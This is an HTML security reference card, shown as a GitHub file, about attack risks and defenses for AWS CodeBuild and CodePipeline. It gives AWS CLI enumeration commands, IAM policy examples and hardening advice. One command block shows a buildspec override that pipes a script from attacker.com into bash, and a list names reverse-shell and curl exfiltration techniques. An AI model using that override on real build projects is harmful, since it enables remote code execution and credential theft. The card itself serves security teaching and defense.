aws-security-cards/cards/html/codebuild.html at main · TocConsulting/aws-security-cards · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS CodeBuild &amp; CodePipeline | AWS Security Cards</title>
<meta name="description" content="CodeBuild and CodePipeline are AWS's CI/CD services for building, testing, and deploying applications. Attackers exploit build environments for code execution, credential theft from environment variables, and supply chain attacks through compromised build artifacts.">
<style>
  *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
  body {
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
    background: #0a0e1a;
    color: #e2e8f0;
    line-height: 1.6;
    padding: 2rem;
    max-width: 1200px;
    margin: 0 auto;
  }
  a { color: #22d3ee; text-decoration: none; }
  a:hover { text-decoration: underline; }

  /* Card Image */
  .card-image {
    border-radius: 1rem;
    overflow: hidden;
    margin-bottom: 2rem;
    border: 1px solid rgba(255,255,255,0.1);
  }
  .card-image img {
    width: 100%;
    height: auto;
    display: block;
  }

  /* Header */
  .header {
    position: relative;
    overflow: hidden;
    border-radius: 1rem;
    background: linear-gradient(135deg, #06b6d415, #0a0e1a, #0ea5e915);
    border: 1px solid #06b6d44d;
    padding: 2.5rem;
    margin-bottom: 2rem;
  }
  .header::before {
    content: '';
    position: absolute;
    top: 0; right: 0;
    width: 24rem; height: 24rem;
    background: #06b6d40d;
    border-radius: 50%;
    filter: blur(3rem);
  }
  .header-content { position: relative; display: flex; align-items: flex-start; gap: 1.5rem; }
  .header-icon { width: 64px; height: 64px; flex-shrink: 0; }
  .header-icon img { width: 100%; height: 100%; }
  .header-title { font-size: 1.875rem; font-weight: 700; color: #fff; }
  .header-badge {
    display: inline-block;
    padding: 0.25rem 0.75rem;
    background: #06b6d433;
    color: #06b6d4;
    font-size: 0.8rem;
    font-weight: 600;
    border-radius: 999px;
    border: 1px solid #06b6d44d;
    margin-left: 0.75rem;
    vertical-align: middle;
  }
  .header-desc { color: #94a3b8; max-width: 42rem; margin-top: 0.5rem; }

  /* Stats */
  .stats-row { display: grid; grid-template-columns: repeat(4, 1fr); gap: 1rem; margin-bottom: 2rem; }
  .stat-card {
    background: rgba(255,255,255,0.03);
    border-radius: 0.5rem;
    border: 1px solid rgba(255,255,255,0.06);
    padding: 1rem;
    text-align: center;
  }
  .stat-value { font-size: 1.5rem; font-weight: 700; }
  .stat-label { font-size: 0.8rem; color: #94a3b8; }

  /* Sections */
  .section {
    background: rgba(255,255,255,0.03);
    border-radius: 0.75rem;
    border: 1px solid rgba(255,255,255,0.06);
    padding: 1.5rem;
    margin-bottom: 1.5rem;
  }
  .section h2 {
    font-size: 1.25rem;
    font-weight: 700;
    color: #fff;
    margin-bottom: 1rem;
    display: flex;
    align-items: center;
    gap: 0.5rem;
  }

  /* Overview */
  .overview-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; }
  .overview-grid h4 { font-size: 0.9rem; font-weight: 600; margin-bottom: 0.5rem; }
  .overview-grid p { font-size: 0.875rem; color: #94a3b8; margin-bottom: 0.75rem; }
  .attack-note {
    background: rgba(0,0,0,0.3);
    border-radius: 0.5rem;
    border: 1px solid rgba(255,255,255,0.06);
    padding: 0.75rem;
    font-size: 0.875rem;
    color: #cbd5e1;
  }

  /* Risk Gauge */
  .risk-gauge { display: flex; align-items: center; gap: 2rem; }
  .risk-bar-container { flex: 1; }
  .risk-bar {
    height: 1rem;
    background: #0f172a;
    border-radius: 999px;
    overflow: hidden;
  }
  .risk-bar-fill {
    height: 100%;
    border-radius: 999px;
    background: linear-gradient(90deg, #eab308, #f97316, #ef4444);
  }
  .risk-labels { display: flex; justify-content: space-between; font-size: 0.8rem; color: #94a3b8; margin-top: 0.5rem; }
  .risk-score { text-align: center; }
  .risk-score-value { font-size: 2.5rem; font-weight: 700; color: #f87171; }
  .risk-score-label { font-size: 0.8rem; color: #94a3b8; }
  .risk-desc { margin-top: 1rem; font-size: 0.875rem; color: #94a3b8; }

  /* Panels Grid */
  .panels-grid { display: grid; grid-template-columns: repeat(3, 1fr); gap: 1.5rem; margin-bottom: 1.5rem; }
  @media (max-width: 1024px) { .panels-grid { grid-template-columns: repeat(2, 1fr); } }
  @media (max-width: 640px) { .panels-grid, .stats-row, .overview-grid { grid-template-columns: 1fr; } }
  .panel {
    background: rgba(255,255,255,0.03);
    border-radius: 0.75rem;
    border: 1px solid;
    padding: 1.5rem;
  }
  .panel h3 { font-size: 1.1rem; font-weight: 700; margin-bottom: 1rem; display: flex; align-items: center; gap: 0.5rem; }
  .panel h4 { font-size: 0.85rem; font-weight: 600; margin-bottom: 0.5rem; margin-top: 1rem; }
  .panel ul { list-style: none; padding: 0; }
  .panel li {
    font-size: 0.85rem;
    color: #cbd5e1;
    padding: 0.15rem 0;
    display: flex;
    align-items: flex-start;
    gap: 0.5rem;
  }
  .bullet { margin-top: 0.15rem; }
  .note {
    margin-top: 1rem;
    padding: 0.75rem;
    border-radius: 0.5rem;
    font-size: 0.85rem;
  }

  /* Commands */
  .cmd-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; }
  .cmd-block { margin-top: 0.75rem; }
  .cmd-title { font-size: 0.8rem; color: #94a3b8; margin-bottom: 0.25rem; }
  pre {
    background: rgba(0,0,0,0.5);
    border-radius: 0.5rem;
    padding: 0.75rem;
    font-size: 0.8rem;
    color: #4ade80;
    overflow-x: auto;
    border: 1px solid rgba(255,255,255,0.06);
    white-space: pre-wrap;
    word-break: break-all;
    font-family: 'SF Mono', 'Fira Code', 'Cascadia Code', monospace;
  }

  /* Policies */
  .policy-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1.5rem; }
  .policy-card {
    border-radius: 0.5rem;
    border: 1px solid;
    padding: 1rem;
  }
  .policy-header { display: flex; align-items: center; gap: 0.5rem; margin-bottom: 0.75rem; font-size: 0.9rem; }
  .policy-card pre { margin-bottom: 0.75rem; color: #cbd5e1; }
  .policy-desc { font-size: 0.8rem; color: #94a3b8; }

  /* Defenses */
  .defense-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; }
  .defense-card {
    background: rgba(255,255,255,0.03);
    border-radius: 0.5rem;
    border: 1px solid rgba(255,255,255,0.06);
    padding: 1rem;
  }
  .defense-card:hover { border-color: #22d3ee4d; }
  .defense-header { display: flex; align-items: flex-start; gap: 0.75rem; }
  .defense-icon { font-size: 1.5rem; }
  .defense-card h4 { font-size: 0.9rem; font-weight: 600; color: #fff; margin-bottom: 0.25rem; }
  .defense-card p { font-size: 0.85rem; color: #94a3b8; margin-bottom: 0.5rem; }
  .defense-card pre { color: #22d3ee; }

  /* Footer */
  .footer { text-align: center; padding: 1.5rem 0; font-size: 0.8rem; color: #64748b; }
  .footer a { color: #22d3ee; }

  /* Prevent ugly page-break splits */
  .card-image,
  .header,
  .stat-card,
  .stats-row,
  .section,
  .panel,
  .cmd-block,
  .policy-card,
  .defense-card,
  .attack-note,
  .overview-grid > div,
  .risk-gauge,
  .note {
    break-inside: avoid;
    page-break-inside: avoid;
  }
  .section,
  .panels-grid,
  .card-image,
  .header {
    break-before: auto;
    page-break-before: auto;
  }
  /* Keep headings with their content */
  h2, h3, h4 {
    break-after: avoid;
    page-break-after: avoid;
  }

  @media print {
    body { background: #0a0e1a; -webkit-print-color-adjust: exact; print-color-adjust: exact; }
    /* Switch panels to 2-col for better page flow */
    .panels-grid { grid-template-columns: repeat(2, 1fr); }
    /* Switch commands and policies to single column to avoid splits */
    .cmd-grid { grid-template-columns: 1fr; }
    .policy-grid { grid-template-columns: 1fr; }
    .defense-grid { grid-template-columns: 1fr; }
  }
</style>
</head>
<body>

<!-- Card Image -->
<div class="card-image">
  <img src="../images/codebuild-card.webp" alt="AWS CodeBuild &amp; CodePipeline" />
</div>

<!-- Header -->
<div class="header">
  <div class="header-content">
    <div class="header-icon"><img src="../icons/codebuild.svg" alt="AWS CodeBuild &amp; CodePipeline" /></div>
    <div>
      <div>
        <span class="header-title">AWS CodeBuild &amp; CodePipeline</span>
        <span class="header-badge">CI/CD</span>
      </div>
      <p class="header-desc">CodeBuild and CodePipeline are AWS's CI/CD services for building, testing, and deploying applications. Attackers exploit build environments for code execution, credential theft from environment variables, and supply chain attacks through compromised build artifacts.</p>
    </div>
  </div>
</div>

<!-- Stats -->
<div class="stats-row">
        <div class="stat-card">
          <div class="stat-value" style="color: #f87171;">CRITICAL</div>
          <div class="stat-label">Supply Chain Risk</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #4ade80;">RCE</div>
          <div class="stat-label">Code Execution</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #60a5fa;">Secrets</div>
          <div class="stat-label">Credential Exposure</div>
        </div>
        <div class="stat-card">
          <div class="stat-value" style="color: #c084fc;">Artifacts</div>
          <div class="stat-label">Poisoning Target</div>
        </div></div>

<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">&#x1F4CB;</span> Service Overview</h2><div class="overview-grid">
        <div>
          <h4 style="color: #06b6d4;">Build Projects &amp; Buildspecs</h4>
          <p>CodeBuild projects define the build environment, source provider, and buildspec file that controls every build step. Buildspecs execute arbitrary shell commands with the project's IAM role permissions, making them a prime target for injecting malicious build steps.</p>

        </div>
        <div>
          <h4 style="color: #06b6d4;">Environment Variables &amp; Secrets</h4>
          <p>Build projects store configuration as environment variables — often including database credentials, API keys, and tokens. Variables can reference Secrets Manager or SSM Parameter Store, but plaintext variables are visible to anyone with codebuild:BatchGetProjects permissions.</p>

        </div>
        <div>
          <h4 style="color: #06b6d4;">Artifacts &amp; Build Output</h4>
          <p>Build artifacts are stored in S3 and may be deployed directly to production. A compromised build can inject backdoors into application packages, container images, or deployment bundles — creating supply chain attacks that propagate downstream.</p>

        </div></div></div>

<!-- Risk Assessment -->

<div class="section">
  <h2>Security Risk Assessment</h2>
  <div class="risk-gauge">
    <div class="risk-bar-container">
      <div class="risk-bar">
        <div class="risk-bar-fill" style="width: 90%;"></div>
      </div>
      <div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
    </div>
    <div class="risk-score">
      <div class="risk-score-value">9.0</div>
      <div class="risk-score-label">Risk Score</div>
    </div>
  </div>
  <p class="risk-desc">CI/CD systems are prime targets for supply chain attacks. CodeBuild executes arbitrary code with powerful IAM roles. Environment variables often contain secrets. Compromised builds can poison production deployments.</p>
</div>

<!-- Main Panels -->
<div class="panels-grid">
      <div class="panel" style="border-color: #f8717133;">
        <h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Build Exploitation</h4><ul><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Buildspec injection via StartBuild</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Environment variable theft</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Build role credential abuse</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Artifact poisoning/backdooring</li><li><span class="bullet" style="color: #f87171;">&#x2022;</span> Source code manipulation</li></ul></div>
      <div class="panel" style="border-color: #fb923c33;">
        <h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Common Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Secrets in PLAINTEXT env vars</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Overly permissive build roles</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> No buildspec override protection</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Unencrypted artifact stores</li><li><span class="bullet" style="color: #fb923c;">&#x2022;</span> Missing build isolation (VPC)</li></ul></div>
      <div class="panel" style="border-color: #facc1533;">
        <h3 style="color: #facc15;">💀 Exploitation</h3><h4 style="color: #facc15;">Techniques</h4><ul><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Inject reverse shell in buildspec</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Exfil credentials via curl</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Pivot using build service role</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Backdoor container images</li><li><span class="bullet" style="color: #facc15;">&#x2022;</span> Modify deployment artifacts</li></ul></div>
      <div class="panel" style="border-color: #c084fc33;">
        <h3 style="color: #c084fc;">🔑 Credential Locations</h3><h4 style="color: #c084fc;">Secrets</h4><ul><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Environment variables (API)</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> AWS_ACCESS_KEY_ID/SECRET</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> IMDS role credentials</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Secrets Manager references</li><li><span class="bullet" style="color: #c084fc;">&#x2022;</span> Build logs (if verbose)</li></ul></div>
      <div class="panel" style="border-color: #60a5fa33;">
        <h3 style="color: #60a5fa;">🔗 Supply Chain Risks</h3><h4 style="color: #60a5fa;">Attack Surface</h4><ul><li><span class="bullet" style="color: #60a5fa;">&#x2022;</span> Compromised build images</li><li><span class="bullet" style="color: #60a5fa;">&#x2022;</span> Malicious dependencies</li><li><span class="bullet" style="color: #60a5fa;">&#x2022;</span> Poisoned artifacts to S3/ECR</li><li><span class="bullet" style="color: #60a5fa;">&#x2022;</span> Backdoored containers</li><li><span class="bullet" style="color: #60a5fa;">&#x2022;</span> Modified deployment configs</li></ul></div>
      <div class="panel" style="border-color: #4ade8033;">
        <h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> StartBuild (with override)</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> UpdateProject</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> BatchGetProjects (enum)</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> UpdatePipeline</li><li><span class="bullet" style="color: #4ade80;">&#x2022;</span> ImportSourceCredentials</li></ul>
        <div class="cmd-block">
          <div class="cmd-title">List Build Projects</div>
          <pre><code>aws codebuild list-projects</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Get Project Details</div>
          <pre><code>aws codebuild batch-get-projects --names my-project</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Builds for Project</div>
          <pre><code>aws codebuild list-builds-for-project --project-name my-project</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Get Build Details</div>
          <pre><code>aws codebuild batch-get-builds --ids my-project:build-id</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Pipelines</div>
          <pre><code>aws codepipeline list-pipelines</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Get Pipeline Details</div>
          <pre><code>aws codepipeline get-pipeline --name my-pipeline</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Get Environment Variables</div>
          <pre><code>aws codebuild batch-get-projects --names my-project --query 'projects[].environment.environmentVariables'</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">List Source Credentials</div>
          <pre><code>aws codebuild list-source-credentials</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Start Build (RCE)</div>
          <pre><code>aws codebuild start-build --project-name my-project --buildspec-override &quot;version: 0.2\
phases:\
  build:\
    commands:\
      - curl attacker.com/shell.sh | bash&quot;</code></pre>
        </div>
        <div class="cmd-block">
          <div class="cmd-title">Get Build Logs</div>
          <pre><code>aws logs get-log-events --log-group-name /aws/codebuild/my-project --log-stream-name build-id</code></pre>
        </div></div></div>

<!-- Exploitation -->


<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F4DC;</span> Policy Examples</h2><div class="policy-grid">
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Dangerous - Overly Permissive Build Role</span>
          </div>
          <pre><code>{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;*&quot;,
  &quot;Resource&quot;: &quot;*&quot;
}

// Build role with full access enables:
// - Access any S3 bucket
// - Read all secrets
// - Assume other roles</code></pre>
          <p class="policy-desc">Build role with broad access enables lateral movement to any AWS resource</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - Scoped Build Role</span>
          </div>
          <pre><code>{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [
    &quot;logs:CreateLogGroup&quot;,
    &quot;logs:PutLogEvents&quot;
  ],
  &quot;Resource&quot;: &quot;arn:aws:logs:*:*:/aws/codebuild/*&quot;
},
{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;s3:PutObject&quot;,
  &quot;Resource&quot;: &quot;arn:aws:s3:::build-artifacts/*&quot;
}</code></pre>
          <p class="policy-desc">Limited to only required build operations - logs and artifact storage</p>
        </div>
        <div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
          <div class="policy-header">
            <span style="color: #f87171; font-size: 1.2em;">&#x2717;</span>
            <span style="color: #f87171; font-weight: 600;">Dangerous - StartBuild with Override</span>
          </div>
          <pre><code>{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [
    &quot;codebuild:StartBuild&quot;,
    &quot;codebuild:BatchGetProjects&quot;
  ],
  &quot;Resource&quot;: &quot;*&quot;
}

# Attacker can override buildspec with:
# - Malicious commands
# - Credential theft
# - Reverse shells</code></pre>
          <p class="policy-desc">Allows buildspec override for arbitrary code execution in build environment</p>
        </div>
        <div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
          <div class="policy-header">
            <span style="color: #4ade80; font-size: 1.2em;">&#x2713;</span>
            <span style="color: #4ade80; font-weight: 600;">Secure - Block Buildspec Override</span>
          </div>
          <pre><code>{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;codebuild:StartBuild&quot;,
  &quot;Resource&quot;: &quot;arn:aws:codebuild:*:*:project/my-*&quot;,
  &quot;Condition&quot;: {
    &quot;Null&quot;: {
      &quot;codebuild:BuildSpecOverride&quot;: &quot;true&quot;
    }
  }
}

// Cannot override buildspec - uses project config</code></pre>
          <p class="policy-desc">Uses IAM condition to prevent buildspec override attacks</p>
        </div></div></div>

<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">&#x1F6E1;&#xFE0F;</span> Defense Recommendations</h2><div class="defense-grid">
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔑</span>
            <div>
              <h4>Use Secrets Manager References</h4>
              <p>Never use PLAINTEXT environment variables - reference Secrets Manager instead.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🚫</span>
            <div>
              <h4>Block Buildspec Override</h4>
              <p>Use IAM conditions to prevent buildspec override in StartBuild calls.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🔒</span>
            <div>
              <h4>Least Privilege Build Roles</h4>
              <p>Scope build roles to minimum required permissions for the build.</p>
              <pre><code>Only S3, ECR, and CloudWatch Logs for most builds</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">🌐</span>
            <div>
              <h4>Enable VPC for Builds</h4>
              <p>Run builds in VPC to control network access and prevent data exfiltration.</p>

            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">📝</span>
            <div>
              <h4>Sign Build Artifacts</h4>
              <p>Sign build artifacts and verify signatures before deployment.</p>
              <pre><code>Use AWS Signer or Cosign for container images</code></pre>
            </div>
          </div>
        </div>
        <div class="defense-card">
          <div class="defense-header">
            <span class="defense-icon">👁️</span>
            <div>
              <h4>Monitor Build Activity</h4>
              <p>Alert on StartBuild with overrides, new projects, and credential access.</p>

            </div>
          </div>
        </div></div></div>

<!-- Footer -->
<div class="footer">
  <p>AWS CodeBuild &amp; CodePipeline Card</p>
  <p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>

</body>
</html>